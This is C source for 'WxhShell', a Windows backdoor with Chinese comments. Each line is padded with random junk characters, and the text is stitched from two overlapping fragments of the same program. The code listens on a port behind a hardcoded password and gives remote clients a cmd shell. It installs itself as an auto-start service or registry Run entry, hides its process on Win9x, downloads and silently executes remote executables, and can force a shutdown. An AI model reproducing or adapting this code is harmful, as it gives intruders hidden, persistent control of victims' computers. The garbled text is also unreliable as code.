    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QemyCCP+  
    else { j*d yp  
    closesocket(wsh); :{{F *FM;  
    ExitThread(0); CMe 06^U   
    } p}&#jE  
    break; "<6G6?sz  
    } P)"noG_'i  
  // 获取shell C^s^D:   
  case 's': { {ba q+  
    CmdShell(wsh); i|c'Lbre`  
    closesocket(wsh); U1Q:= yD  
    ExitThread(0); rUTcpGH  
    break; }pDqe;a{  
  } XWDL5K  
  // 退出 Ltv]pH}YN  
  case 'x': { \Bz_p'[G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y21g{$~Q{  
    CloseIt(wsh); AW%50V  
    break; w}L]X1#sF  
    } Y2|#V#  
  // 离开 3s5z UT;  
  case 'q': { RPwbTAl}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C,wL0Yj[  
    closesocket(wsh); 0;hqIJcE:\  
    WSACleanup(); >f^r^P  
    exit(1); Y1L[;)Hn  
    break; H[m:0eF'5  
        } 2uz W+D6J  
  } j~"Q3P;V  
  } H-WJp<_  
ksc;X$f&4  
  // 提示信息 &\#sI9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1 Rq,a  
} B|Du@^$  
  } ]Gzm^6v  
D!@Ciw  
  return; Yf:IKY  
} 5c9^-|-T  
^"2i   
// shell模块句柄 ~Uu4=  
int CmdShell(SOCKET sock) e%@'5k\SK  
{ ;m0~L=w  
STARTUPINFO si; \4&fxe  
ZeroMemory(&si,sizeof(si)); =FlDb 5t{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VdPtPq1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C'G/AU  
PROCESS_INFORMATION ProcessInfo; 1!ii;s^e  
char cmdline[]="cmd"; hmvfw:Nq4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5rwu!Y;7*  
  return 0; `V=N*hv`  
} !-ok"k0,u  
mkMq  
// 自身启动模式 $}RJ,%~'x  
int StartFromService(void) 2X.r%&!1M  
{ 3e #p @sB  
typedef struct g~Z vA(`  
{ G(Lzf(  
  DWORD ExitStatus; |"?M1*g  
  DWORD PebBaseAddress; DD7h^-x  
  DWORD AffinityMask; ccB&O _  
  DWORD BasePriority; ;t'5},(FP  
  ULONG UniqueProcessId; [6pD  
  ULONG InheritedFromUniqueProcessId; < nXL  
}   PROCESS_BASIC_INFORMATION; 4^:\0U F  
4Z1ST;  
PROCNTQSIP NtQueryInformationProcess; vY4\59]P  
R_(tjkT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MPCBT!o4Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M:XSQ["6>V  
U [*FCD!~  
  HANDLE             hProcess; qT ,Te  
  PROCESS_BASIC_INFORMATION pbi; fg s!v7  
4h~iPn'Wl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +$u$<z3Q  
  if(NULL == hInst ) return 0; g@rb  
VkvB<3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wy yWyf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QXL'^uO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h xSKG  
ZNJ@F<  
  if (!NtQueryInformationProcess) return 0; %+f>2U4I  
>,TUZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V:qSy#e  
  if(!hProcess) return 0; 0M*Z'n +  
rw: c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $RYa6"`  
Q(@U2a8  
  CloseHandle(hProcess); 3cFf#a#  
(^s>m,h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O9vQp  
if(hProcess==NULL) return 0; 5pj22 s  
E'G4Y-  
HMODULE hMod; N8k00*p65  
char procName[255]; 6 2'j!"xv  
unsigned long cbNeeded; >v:y?A,  
->sm+H-*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?sab*$wG  
4 K!JQ|9  
  CloseHandle(hProcess); r) HHwh{9  
!LggIk1  
if(strstr(procName,"services")) return 1; // 以服务启动 l9}3XI.=  
q'|rgT  
  return 0; // 注册表启动 pczug-nB  
} lH#u  
|L-]fjBbF  
// 主模块 XR+Y=R  
int StartWxhshell(LPSTR lpCmdLine) Kw -gojZ  
{ p qfUW+>  
  SOCKET wsl; os,* 3WO  
BOOL val=TRUE; }#.L7SIJ<J  
  int port=0; y603$Cv  
  struct sockaddr_in door; ^X0P'l &D2  
/~}}"zx&  
  if(wscfg.ws_autoins) Install(); `Zf^E >)  
~$ng^D  
port=atoi(lpCmdLine); *;1,5L  
ozAS[B6  
if(port<=0) port=wscfg.ws_port; '{E@*T /<.  
8WtsKOno  
  WSADATA data; -j%,Oo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xgbJ2Mh  
^=T$&gD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :axRoRg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xGu r  
  door.sin_family = AF_INET; PfreAEv,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5i> $]*o  
  door.sin_port = htons(port); b@rVo;  
IAYR+c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2HpHxVJ  
closesocket(wsl); vk+VP 1D  
return 1; |rJ=Ksc  
} t0o`-d(  
=o Xsb  
  if(listen(wsl,2) == INVALID_SOCKET) { .l>77zM6  
closesocket(wsl); #z&& M"*a|  
return 1; X*M#FT-  
} |kw)KEi}H  
  Wxhshell(wsl); U F?H>Y&  
  WSACleanup(); iTFdN}U  
)0ea+ ib  
return 0; (5#nrF]  
eCN })An  
} =+ytTQc*ot  
f47Od-\-  
// 以NT服务方式启动 |K6REkzr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |<#{"'/=  
{ 2Or'c`|  
DWORD   status = 0; whpfJNz  
  DWORD   specificError = 0xfffffff; TT'[qfAI  
vI2^tX 9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }!;s.[y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y,W uBH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #cnq(S=.  
  serviceStatus.dwWin32ExitCode     = 0; L[^9E'L$  
  serviceStatus.dwServiceSpecificExitCode = 0; {p;zuCF1  
  serviceStatus.dwCheckPoint       = 0; ~;1l9^N|  
  serviceStatus.dwWaitHint       = 0; #bMuvaP~  
|UK}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K<pV  
  if (hServiceStatusHandle==0) return; hCCiD9gz  
}2(,K[?  
status = GetLastError(); p89wNSMl[  
  if (status!=NO_ERROR) m1),;RsH  
{ $UgA0]q n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R#2t)y  
    serviceStatus.dwCheckPoint       = 0; MOsl_^c  
    serviceStatus.dwWaitHint       = 0; l% ?T2Fm3>  
    serviceStatus.dwWin32ExitCode     = status; @\0Eu212  
    serviceStatus.dwServiceSpecificExitCode = specificError; 99}(~B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?0)&U  
    return; F">Qpgt  
  } oX0D  
>}!mQpAO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?mWw@6G,  
  serviceStatus.dwCheckPoint       = 0; q8^^H$<Db  
  serviceStatus.dwWaitHint       = 0; %F!1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #>%X_o-o23  
} X=hYB}}nu  
BDq%'~/^  
// 处理NT服务事件,比如:启动、停止 9:,V5n=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &Rx{.9  
{ aemc2b*  
switch(fdwControl) :Qumb  
{ >iD )eB  
case SERVICE_CONTROL_STOP: pV20oSJNt  
  serviceStatus.dwWin32ExitCode = 0; T'4z=Z]w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *8#i$w11M  
  serviceStatus.dwCheckPoint   = 0; %1O;fQL  
  serviceStatus.dwWaitHint     = 0; p$h4u_  
  { _h X]%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;cPy1  
  } >)spqu]  
  return; AI,(z;{P  
case SERVICE_CONTROL_PAUSE: Sg6"WV{<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; et,f_fd7v  
  break; sYjpU  
case SERVICE_CONTROL_CONTINUE: O>^C4c!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P5 K' p5}#  
  break; *tgnYa[l  
case SERVICE_CONTROL_INTERROGATE: | \'rP_I>  
  break; W6"v)Jc>_  
}; cgm81+[%r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fb7#<h  
} TQx.KM>y  
IG|X!l  
// 标准应用程序主函数 o3I Tr';  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F{eU";D  
{ dgA-MQ5{  
JcbwDlUb  
// 获取操作系统版本 -TM 0]{  
OsIsNt=GetOsVer(); Eo#u#IY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q(<)KZIK  
VJdIHsI  
  // 从命令行安装 ZCB_  
  if(strpbrk(lpCmdLine,"iI")) Install(); o(:[r@Z0z  
7N:Y?Hi\  
  // 下载执行文件 po$ /7  
if(wscfg.ws_downexe) { "\}@gV#r$A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JMH8MH*  
  WinExec(wscfg.ws_filenam,SW_HIDE); TiYnc3Bz}J  
} 7b<je=G6PA  
ai nG6Y<O`  
if(!OsIsNt) { =|I>G?g-  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hm$=h>rY9[  
HideProc(); =,Dqqf  
StartWxhshell(lpCmdLine); WAn~ +=Ax  
} B>GE 9y5  
else =0G!f$7^i  
  if(StartFromService()) _~*,m#uxJ  
  // 以服务方式启动 N 5i+3&  
  StartServiceCtrlDispatcher(DispatchTable); B x (uRj  
else ?Rj~f{%g  
  // 普通方式启动 hir4ZO%Zt  
  StartWxhshell(lpCmdLine); \T <$9aNb  
!<SA6m#  
return 0; 0&/b42W  
} ;PjQt=4K  
&2`Fn!m  
\ gLHi~  
|b*? qf  
=========================================== ^4,a8`  
Sqo : -  
G}FIjBE  
df n9!h  
Q8 DQlqHm  
;_^fk&+  
" |b-]n"}c>  
-u? S=h}  
#include <stdio.h> !!Aj<*%  
#include <string.h> |7X:TfJ  
#include <windows.h> `;)\u  
#include <winsock2.h> ik!..9aB  
#include <winsvc.h> " t7M3i_  
#include <urlmon.h> LxpuhvIO  
7oq[38zB  
#pragma comment (lib, "Ws2_32.lib") '1$!jmY  
#pragma comment (lib, "urlmon.lib") cZT({uYGL  
M-;4   
#define MAX_USER   100 // 最大客户端连接数 IdXZoY  
#define BUF_SOCK   200 // sock buffer CMn{LQcC  
#define KEY_BUFF   255 // 输入 buffer 7{I h_.#  
1[jb)j1  
#define REBOOT     0   // 重启 (y M^  
#define SHUTDOWN   1   // 关机 BM(]QUxRd  
7c~u=U"  
#define DEF_PORT   5000 // 监听端口 +reor@h  
~i21%$  
#define REG_LEN     16   // 注册表键长度 i:u1s"3~  
#define SVC_LEN     80   // NT服务名长度 $6CwkM:  
(s{RnD  
// 从dll定义API CE"JS-S?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u-tQ9ioKC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L~I hsiB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h+aS4Q&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }J7zTj~{  
<x&%~6j  
// wxhshell配置信息 Tp0bS  
struct WSCFG { 5cEcTJL[C  
  int ws_port;         // 监听端口 SF5@Vg  
  char ws_passstr[REG_LEN]; // 口令 i:Zm*+Gi  
  int ws_autoins;       // 安装标记, 1=yes 0=no $2u 'N:o  
  char ws_regname[REG_LEN]; // 注册表键名 WdnIp!  
  char ws_svcname[REG_LEN]; // 服务名 :"l-KQ0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bzvh%RsW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E@P %v{)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qu7T[ <  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >P/][MT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fm^@i;D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z8 [yt282  
2KQoy;  
}; XXh6^@H=  
KX}Rr7a  
// default Wxhshell configuration RKPD4e>%  
struct WSCFG wscfg={DEF_PORT, |U_]vMq  
    "xuhuanlingzhe", IN,(y aC  
    1, 1y lk4@`  
    "Wxhshell", M4d47<'*~  
    "Wxhshell", {U84 _Pi  
            "WxhShell Service", HU9Sl*/  
    "Wrsky Windows CmdShell Service", 4[BG#  
    "Please Input Your Password: ", QjC22lW-  
  1, tOOchu?=  
  "http://www.wrsky.com/wxhshell.exe", iC*F  
  "Wxhshell.exe" H<QT3RF2  
    }; J7v|vj I  
MSV2ip3  
// 消息定义模块 A.D{.a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r%e KFS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XfKo A0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V~ TWKuR  
char *msg_ws_ext="\n\rExit."; TO-nD>  
char *msg_ws_end="\n\rQuit."; z.CywME<)t  
char *msg_ws_boot="\n\rReboot..."; YG8>czC  
char *msg_ws_poff="\n\rShutdown..."; sF7^qrVQP9  
char *msg_ws_down="\n\rSave to "; ]q6;#EUr?  
[|lB5gi4t!  
char *msg_ws_err="\n\rErr!"; doB  
char *msg_ws_ok="\n\rOK!"; 4&HXkRs:  
VL[kJi   
char ExeFile[MAX_PATH]; vA X|hwn;  
int nUser = 0; vBsP+K  
HANDLE handles[MAX_USER]; Q43|U4a  
int OsIsNt; gN>2xnh'm  
r@{~ 5&L  
SERVICE_STATUS       serviceStatus; ^+ wD43  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r)T:7zy  
Dk='+\  
// 函数声明 sO5?aB&  
int Install(void); J -ePE7i  
int Uninstall(void); o=RM-tR`v  
int DownloadFile(char *sURL, SOCKET wsh); T2D<UhP  
int Boot(int flag); w ~ dk#=  
void HideProc(void); .)+h H y  
int GetOsVer(void); ZlHDi!T  
int Wxhshell(SOCKET wsl); 0Hs|*:Y1D  
void TalkWithClient(void *cs); n3lE, b  
int CmdShell(SOCKET sock); ?X-)J=XG  
int StartFromService(void); kvh&d|  
int StartWxhshell(LPSTR lpCmdLine); .c#y%S  
rS0DSGDq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fRfn2jA)d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y $u9%0q|?  
k6kM'e3V  
// 数据结构和表定义 \3Q&~j  
SERVICE_TABLE_ENTRY DispatchTable[] = h!#:$|Q  
{ >I<r)w]  
{wscfg.ws_svcname, NTServiceMain}, )?2e  
{NULL, NULL} #eN{!Niy&U  
}; )9S>Z ZF  
}@+NN ?P  
// 自我安装 q\rC5gk >  
int Install(void) &wU'p-V  
{ 8_&CT :u>  
  char svExeFile[MAX_PATH]; _Cw:J|l.  
  HKEY key; zd_HxYrN  
  strcpy(svExeFile,ExeFile); X]loJoM9  
|e a~'N1  
// 如果是win9x系统,修改注册表设为自启动 }dxDt qb  
if(!OsIsNt) { Bk}><H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dtPoo\@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W[[bV  
  RegCloseKey(key); Fxc)}i`   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dDDGM:]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +f0~D(d!_  
  RegCloseKey(key); +x]9+D&  
  return 0; azP+GM=i7  
    } >2 3-  
  } efG6v  
} "C?5f]T  
else { F/1#l@qN  
+ <c^=&7Lq  
// 如果是NT以上系统,安装为系统服务 s!+"yK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4Iq'/r  
if (schSCManager!=0) z5*=MlZ)R.  
{ jEz+1Nl)  
  SC_HANDLE schService = CreateService @=5qT]%U3J  
  ( :y2p@#l#  
  schSCManager, +uWYK9  
  wscfg.ws_svcname, UwY-7Mmo  
  wscfg.ws_svcdisp, 8SmnMt  
  SERVICE_ALL_ACCESS, hSGb-$~F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Og%U  
  SERVICE_AUTO_START, fn CItK~y  
  SERVICE_ERROR_NORMAL, <e%F^#y_  
  svExeFile, f&4,?E;6%  
  NULL, NDO\B,7  
  NULL, K1?Gmue#I  
  NULL, -S%x wJKM  
  NULL, +fKtG]$  
  NULL )R_E|@"  
  ); K~RoUE<3[  
  if (schService!=0) xw<OLWW  
  { W/=|/-\]/  
  CloseServiceHandle(schService); f-2$ L  
  CloseServiceHandle(schSCManager); 8_H=^a>2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _)$PKOzbb  
  strcat(svExeFile,wscfg.ws_svcname); A\Txb_x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $[@0^IJq=K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hIJ)MZU|  
  RegCloseKey(key); ~^)^q8  
  return 0; `A/j1UWJ  
    } wzjU,Mw e  
  } /cFzotr"9  
  CloseServiceHandle(schSCManager); Fk=}iB#(  
} Hqz?E@bc@  
} Wk4.%tpeO7  
G+*cpn  
return 1; f DgD@YCD  
} %m{U& -(l@  
kJs^ z  
// 自我卸载 uk`8X`'  
int Uninstall(void) qIwV q!=  
{ =wi*Nd7L  
  HKEY key; n uQM^2  
:Zw @yt  
if(!OsIsNt) {  17g^ALs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  1;eX&  
  RegDeleteValue(key,wscfg.ws_regname); Cup@TET35  
  RegCloseKey(key); t>UkE9=3\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M~6@20$oW  
  RegDeleteValue(key,wscfg.ws_regname); O$ !* %TL  
  RegCloseKey(key); !wLg67X$ -  
  return 0; k /EDc533d  
  } %bb~Y"  
} ~:sE:9$z  
} o[6y+<'o  
else { ;/AG@$)  
TB aVW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J?:[$C5  
if (schSCManager!=0) |f2A89  
{ YJ7V`N p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !$XHQLqF2  
  if (schService!=0)  ZC^C  
  { }UyQ#U  
  if(DeleteService(schService)!=0) { 3mt%!}S  
  CloseServiceHandle(schService); 6\d X  
  CloseServiceHandle(schSCManager); Md; /nJO~{  
  return 0; VU!w!GN]Y  
  } -[#n+`M  
  CloseServiceHandle(schService); ~bA,GfSn0  
  } _.18z+  
  CloseServiceHandle(schSCManager); SjcL#S($&Y  
} j;P+_Hfe/E  
} s0LA^2U  
^gro=Bp(  
return 1;  h=RD O  
} nX%AeDBAT  
=)<3pGO  
// 从指定url下载文件 #'o7x'n^  
int DownloadFile(char *sURL, SOCKET wsh) *8g<R  
{ ]Nk!4"  
  HRESULT hr; s'a=_cN  
char seps[]= "/"; ;\)=f6N  
char *token; 3-wD^4)O,  
char *file; {0jIY  
char myURL[MAX_PATH]; nZvU 'k:  
char myFILE[MAX_PATH]; J0<p4%Cf  
f5dR 5G  
strcpy(myURL,sURL); E%k7wM {  
  token=strtok(myURL,seps); U :9=3A2$x  
  while(token!=NULL) ?p8Qx\%*  
  { Ns~&sE:  
    file=token; (RF>s.B<  
  token=strtok(NULL,seps); $G?(OWI}l`  
  } %|Hp Bs#'  
~\_T5/I%  
GetCurrentDirectory(MAX_PATH,myFILE); .{rbw9  
strcat(myFILE, "\\"); r:.uBc&_  
strcat(myFILE, file); \gKdD S  
  send(wsh,myFILE,strlen(myFILE),0); sB*o)8  
send(wsh,"...",3,0); MR9/Y:Nm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x6yW:tUG5  
  if(hr==S_OK) L=1 ~ f-  
return 0; $-pbw@7  
else b 6W#SpCF  
return 1; N7.  @FK  
;lfWu U%R  
} 0o/B{|rv  
[QEwK|!L  
// 系统电源模块 EnCU4CU`  
int Boot(int flag) t3F?>G#y  
{ nmE5]Pcg  
  HANDLE hToken; 0^<,(]!  
  TOKEN_PRIVILEGES tkp; ,w\ wQn>]K  
6Dzs?P  
  if(OsIsNt) { LDX*<(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IKm&xzV-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %jKH?%Ih  
    tkp.PrivilegeCount = 1; u(vw|nj`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E[S':Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @W9H9 PWv&  
if(flag==REBOOT) { O3_B<Em  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a&5g!;.  
  return 0; APHPN:v  
} h(:<(o@<  
else { VO9f~>`(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D!l8l49hLu  
  return 0; 9/;{>RL=  
} cF.mb*$K  
  } Qb@eK$wo}  
  else { K\sbt7~  
if(flag==REBOOT) { fA XE~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [@.B4p  
  return 0; k:0P+d  
} %]jQ48^R  
else { -Cj_B\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z>:U{!5k  
  return 0; |3@=CE7G  
} i[=C_+2  
} .~<]HAwq  
y&rY0bm  
return 1; <9 },M  
} F$ {4X /9n  
SI_?~Pf3k  
// win9x进程隐藏模块 t,Q'S`eTU  
void HideProc(void) A+2oh3  
{ TzY!D *%z  
6UB6;-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z6Z='=pT  
  if ( hKernel != NULL ) #<}kISV0  
  { Y(z }[`2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 33M}>$ZH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YX `%A6  
    FreeLibrary(hKernel); qhxC 5f4Z  
  } 0WS|~?OR@  
BGpk&.J  
return; uHrb:X!q  
} @U7Dunu*f  
+E#PJ_H=F8  
// 获取操作系统版本 z[biK|YL  
int GetOsVer(void) $B ?? Ip?P  
{ Y UZKle  
  OSVERSIONINFO winfo; Qdm(q:w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G1r V<,#m  
  GetVersionEx(&winfo); ?d,M.o{0]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5 ZUy:  
  return 1; 6 5"uD7;  
  else R\ q):,  
  return 0; {c?ymkK  
} X8.y4{5  
d"l}Ny)C  
// 客户端句柄模块 y{;u@o?T  
int Wxhshell(SOCKET wsl) KDaN-r^{%  
{ 4g'}h`kh  
  SOCKET wsh; MBv/  
  struct sockaddr_in client; LH.%\TMN$  
  DWORD myID; i0i`k^bA  
.' IeHh  
  while(nUser<MAX_USER) Q %y,;N"ro  
{ rBD2Si=  
  int nSize=sizeof(client); cl2ze  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1O9$W?)Q  
  if(wsh==INVALID_SOCKET) return 1; , #Ln/;  
F#^L9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M)tv;!eQ  
if(handles[nUser]==0) ,N;v~D$Y  
  closesocket(wsh); h;}ODK(.  
else }(cY|  
  nUser++; .hgH9$\  
  } U[Nosh)hu\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "<T ~jk"u  
\3: L Nt  
  return 0; 6.UKB<sV  
} 1::LN(`<  
] EV`dIk  
// 关闭 socket J2=*-O:  
void CloseIt(SOCKET wsh) M0 L-u  
{ 7>KQRLw  
closesocket(wsh); [DL|Ht>  
nUser--; tUrNp~ve,  
ExitThread(0); ?0m?7{  
} u<C $'V  
h/{8bC@bi  
// 客户端请求句柄 `_ 0)kdu  
void TalkWithClient(void *cs) @%%bRY  
{ e+x*psQ  
GGp{b>E+ #  
  SOCKET wsh=(SOCKET)cs; 0hb/`[Q  
  char pwd[SVC_LEN]; 5C* ?1& !  
  char cmd[KEY_BUFF]; ifd}]UMQ  
char chr[1]; 8eN%sm  
int i,j; 6VGo>b;  
0+p 5/5  
  while (nUser < MAX_USER) { CBIT`k.+  
-@#Pc#  
if(wscfg.ws_passstr) { !&\meS{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a.1`\ $]d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <(Tiazg  
  //ZeroMemory(pwd,KEY_BUFF); 4^`PiRGt  
      i=0; +{'lZa  
  while(i<SVC_LEN) { v/ eB,p  
Jtext%"eNg  
  // 设置超时 RpULm1b  
  fd_set FdRead; 5W|u5AIw  
  struct timeval TimeOut; q'by;g*m  
  FD_ZERO(&FdRead); ([1=>Jw"  
  FD_SET(wsh,&FdRead); aDXpkG0E  
  TimeOut.tv_sec=8; i{P%{hVb  
  TimeOut.tv_usec=0; kO jEY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +fPNen4E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NuI T{3S  
Z%KL[R}^w;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4YBf ~Pp  
  pwd=chr[0]; ~.FnpMDY  
  if(chr[0]==0xd || chr[0]==0xa) { j_(?=7Y3g  
  pwd=0; (e 0_RQ  
  break; a4:`2  
  } &bn*p.=G  
  i++; QaIi.* tic  
    } >Sh0dFqeT  
xP42xv9U  
  // 如果是非法用户,关闭 socket 2NyUmJ42  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EQ6l:[  
} icU"Vyu  
c 3}x)aQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @h!U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cxL,]27Bu  
s87 a %  
while(1) { ,!jR:nApE  
<` #,AVH  
  ZeroMemory(cmd,KEY_BUFF); |G>q:]+AV  
5s#R`o %Z  
      // 自动支持客户端 telnet标准    {`tHJ|8  
  j=0; vY4WQbz(  
  while(j<KEY_BUFF) { 0 PR4g}"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q3(hK<Qh;  
  cmd[j]=chr[0]; d$4WK)U  
  if(chr[0]==0xa || chr[0]==0xd) { sYl&Q.\q  
  cmd[j]=0; $U\!q@'$  
  break; A&D2T  
  } P>.Y)$`r  
  j++;  ~WzMK  
    } ~}epq6L>  
3O#~dFnp  
  // 下载文件 \a\^(`3a[  
  if(strstr(cmd,"http://")) { aeLBaS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1hF2eNh  
  if(DownloadFile(cmd,wsh)) 2Y9y5[K,F)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oZ?IR#^  
  else qxRT1B]{Wx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D7 %^Ly  
  } L~'^W/N  
  else { >l y&+3S  
!a.3OpQ  
    switch(cmd[0]) { _HSTiJVr  
  mvUVy1-c  
  // 帮助 L%TxP6z4A  
  case '?': { pyu46iE)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); se4w~\/  
    break; F! |TW6)gv  
